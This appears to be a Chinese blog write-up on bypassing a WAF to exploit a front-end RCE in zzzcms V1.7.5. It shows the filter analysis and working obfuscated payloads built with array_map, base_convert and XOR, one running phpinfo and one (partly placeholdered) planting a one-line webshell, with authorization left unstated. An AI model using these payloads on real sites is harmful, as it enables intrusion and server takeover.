主页 > 网络知识 > 怎样绕过waf,了解什么是waf(5)

怎样绕过waf,了解什么是waf(5)

 

waf绕过拍了拍你

 

再回正题(zzzcmsV1.7.5前台rce)

激动的心,颤抖的手,怀着忐忑的心情,打算告诉妹子我准备好了,点开她的头像,拍了拍她

 

waf绕过拍了拍你

 

只需要拿下站点,她可能会表示感谢请我吃一顿饭,然后…

 

waf绕过拍了拍你

 

我们打开了站点,先根据妹子提供poc,先执行一波phpinfo,无法执行

 

waf绕过拍了拍你

 

进一步测试执行其他命令也返回了403,应该是被waf拦了

 

waf绕过拍了拍你

 

fuzz一波发现关键函数和一些常用命令被拦的拦,过滤的过滤,反正就是都没成功执行

 

waf绕过拍了拍你

 

黑盒无果,准备审计一波源码

根据版本官网提供的源码定位到了如下过滤函数的位置,跟踪danger_key,看看都过滤了什么

 

waf绕过拍了拍你

 

不看不知道,一看吓一跳,啥东西,这开发绝对是作了宁错杀也不可放过的准备(php都给给过滤了,怪不得phpinfo都没法执行)

分析了下这个函数,关键字被替换为*,单引号和双引号被转义,只要不出现关键字单引号和双引号就OK了

 

waf绕过拍了拍你

 

经过一番咨询,大佬告诉我还有array_map这个函数也可以执行命令,光有函数还不行,常用命令也被拦截,为了执行命令,首先把phpinfo从32进制转换为10进制

 

waf绕过拍了拍你

 

再通过php中的base_convert函数,再把10进制转为32进制,这样就能绕过waf与网站本身的检测,一箭双雕,构造好的poc如下

 

array_map(base_convert(27440799224,10,32),array(1))

 

通过构造好的poc,我们成功执行phpinfo命令

 

waf绕过拍了拍你

 

接下来的通过相同操作将一句话copy进网站根目录,成功拿到shell

 

{if:array_map(base_convert(591910,10,36),array(base_convert(831805,10,36).(base_convert(14,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(XX).(base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(XX).(base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(XX).(base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(XX).(base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(base_convert(1,10,36))),array((base_convert(1,10,36)).(base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(base_convert(33037,10,36))))}{end if}

 

拿到shell心情美滋滋!

 

waf绕过拍了拍你

 

总结

见招拆招, Impossible ==> I’m possible

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!